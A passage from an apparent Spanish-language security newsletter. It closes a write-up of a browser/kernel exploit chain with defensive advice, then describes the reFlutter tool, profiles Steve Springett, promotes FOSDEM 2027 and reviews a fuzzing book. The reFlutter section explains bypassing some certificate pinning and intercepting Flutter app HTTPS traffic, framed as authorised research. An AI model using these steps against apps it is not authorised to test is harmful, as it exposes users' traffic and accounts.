Aísle la navegación de alto riesgo: despliegue aislamiento remoto del navegador (RBI) o infraestructura de escritorio virtual en sandbox para los usuarios que acceden a enlaces de correo externos y a recursos web no confiables.
Monitorice las anomalías de ALPC y del kernel: vigile los procesos sin privilegios que obtienen máscaras de acceso elevadas (PROCESS_ALL_ACCESS) sobre procesos padre.
La cadena de explotación BlueMoon no triunfó por un único fallo catastrófico, sino por aprovechar sistemáticamente los límites de confianza entre sistemas desconectados: una optimización del compilador que confiaba en los tipos de elementos, un motor de WebAssembly que exponía tablas de saltos sin procesar, un subsistema del kernel que calculó mal un búfer de ACL y un validador de integridad del navegador que recurría con naturalidad a los HMAC heredados.
Cuando la diferencia entre un parche upstream y una actualización empresarial es de cuatro semanas, la corrección en el repositorio abierto no es una defensa. Es el plano del ataque.
Fuentes y divulgaciones:
🛠️ Herramienta de la semana
Configurar el proxy de un dispositivo basta para capturar el tráfico de una aplicación Flutter.
No siempre.
reFlutter reemplaza el motor de Flutter incluido en una aplicación para exponer detalles internos y permitir la inspección del tráfico.
Es un framework de ingeniería inversa de código abierto para aplicaciones Flutter en Android e iOS.
Piense en él como:
un motor de Flutter parcheado + un mapa de los componentes internos de Dart + compatibilidad con la interceptación de tráfico.
¿Qué puede hacer?
Los investigadores pueden usar reFlutter para:
Extraer nombres de clases y funciones
Imprimir los valores de algunos campos
Identificar desplazamientos de funciones para análisis posteriores
Ayudar a interceptar tráfico HTTPS mediante Burp Suite
Eludir algunas implementaciones de fijación de certificados de Flutter
Cómo funciona el motor parcheado
Las aplicaciones móviles Flutter compilan su código Dart a código máquina nativo para la versión de producción. El motor de Flutter incluido contiene el runtime que lo ejecuta.
reFlutter lo sustituye por un motor modificado compatible. Mientras la aplicación se carga, este motor registra información estructural de su código Dart en un archivo de volcado.
Esa información puede ofrecer puntos de partida para una investigación. Una clase asociada con la gestión de sesiones, por ejemplo, podría ayudar a un investigador a decidir dónde examinar el comportamiento de la autenticación.
De tráfico ausente a solicitudes visibles
Imagine a un investigador que evalúa una aplicación Flutter con una cuenta de prueba.
La aplicación carga la información de la cuenta, pero no aparece ninguna solicitud correspondiente en Burp Suite.
El cliente HTTP de Dart se conecta directamente a menos que se configure la resolución de proxy. Por tanto, configurar un proxy en el dispositivo no garantiza que esas solicitudes pasen por él.
Con reFlutter, el investigador puede:
Preparar una copia parcheada de una aplicación compatible.
Firmarla e instalarla en un dispositivo de pruebas.
Configurar el enrutamiento del tráfico para la versión de motor correspondiente.
Repetir la acción e inspeccionar las solicitudes en Burp Suite.
Usar esas solicitudes para orientar nuevas pruebas de API.
Por ejemplo, podrían examinar qué información de la cuenta devuelve el servidor y comprobar si las restricciones de acceso se mantienen entre distintas cuentas de prueba.
Personalizar el análisis
El proyecto incluye un script de Frida para engancharse a funciones usando los desplazamientos del volcado. Puede registrar llamadas a funciones e inspeccionar la memoria asociada con los argumentos y los valores de retorno.
Un investigador podría adaptarlo para investigar una función concreta mientras repite una acción en la aplicación, conectando un detalle extraído con el comportamiento observado durante la ejecución.
Dónde tiene dificultades
La compatibilidad depende de la versión del motor de Flutter de la aplicación y de la arquitectura del dispositivo.
La ofuscación de código puede reemplazar nombres significativos de clases y funciones por símbolos menos legibles, lo que dificulta interpretar la información extraída.
El volcado tampoco reconstruye el código fuente original completo de Dart.
Lo que no sustituye
Un nombre de función extraído es una pista. Una solicitud de API capturada es una observación. Ninguna de las dos establece por sí sola una vulnerabilidad.
Los investigadores siguen necesitando examinar la lógica, probar el comportamiento del servidor y reproducir cualquier debilidad sospechada.
reFlutter ayuda a los investigadores a inspeccionar qué contiene una aplicación Flutter y cómo se comunica.
👏 Persona de la semana
Steve Springett
Esta semana destacamos a Steve Springett , creador de OWASP Dependency-Track y fundador de CycloneDX.
Steve empezó Dependency-Track en 2013 para ayudar a las organizaciones a hacer un seguimiento de los componentes que utilizan y de los riesgos que heredan. Más tarde fundó CycloneDX, que se convirtió en estándar internacional en 2024.
CycloneDX proporciona un formato común para las listas de materiales de software (SBOM), inventarios de los componentes que contiene una aplicación. Dependency-Track analiza estos inventarios en busca de vulnerabilidades conocidas y riesgos de licencias, lo que ayuda a los equipos de seguridad a identificar dónde se usan los componentes afectados en sus aplicaciones.
Por construir los estándares y las herramientas que ayudan a las organizaciones a entender qué hay en su software y a gestionar los riesgos que conlleva, Steve Springett es nuestra Persona de la semana.
📅 Evento de la semana
FOSDEM 2027
Si desea escuchar directamente a quienes construyen el software de código abierto del que dependen sus aplicaciones, vale la pena seguir FOSDEM 2027.
Organizado por voluntarios, FOSDEM reúne cada año en Bruselas a más de 8,000 desarrolladores. El evento combina charlas técnicas, stands de proyectos y «salas de desarrolladores» dirigidas por la comunidad, donde los colaboradores debaten tecnologías concretas y comparten su trabajo.
El programa de 2027 aún se está definiendo. La edición de 2026 abarcó seguridad, cadenas de suministro de software, análisis forense digital, contenedores y desarrollo móvil, además de lenguajes de programación e infraestructura en la nube. La asistencia es gratuita y no requiere inscripción.
📍 Campus ULB Solbosch, Bruselas, Bélgica
📚 Libro de la semana
Fuzzing Against the Machine
De Antonio Nappa y Eduardo Blázquez
¿Cómo se prueba el firmware cuando es imposible poseer todos los dispositivos?
Fuzzing Against the Machine explica cómo los investigadores pueden combinar QEMU con AFL y AFL++ para ejecutar software en un entorno emulado, alimentarlo con entradas cambiantes y observar los fallos que pueden revelar vulnerabilidades.
El libro comienza con los fundamentos de la emulación y el fuzzing antes de pasar a entornos prácticos para sistemas embebidos y firmware propietario. Sus ejemplos abarcan OpenWrt, el baseband Shannon de Samsung y bibliotecas de iOS y Android. También muestra cómo los depuradores y los desensambladores ayudan a los investigadores a analizar lo que descubre un fuzzer.
Su principal virtud es conectar las herramientas en un único flujo de trabajo. El lector ve cómo la emulación, la instrumentación, el fuzzing y el análisis de fallos funcionan juntos durante la investigación de vulnerabilidades.
Es una lectura útil para investigadores de seguridad, ingenieros de firmware y probadores de seguridad móvil que desean una introducción práctica a la búsqueda de vulnerabilidades sin depender por completo del hardware físico.
😅 El meme
Si el código de un agente supera todas las pruebas, ¿qué más necesitaría saber su equipo antes de aprobar su trabajo?
The Breach Brief, Equipo de Ostorlab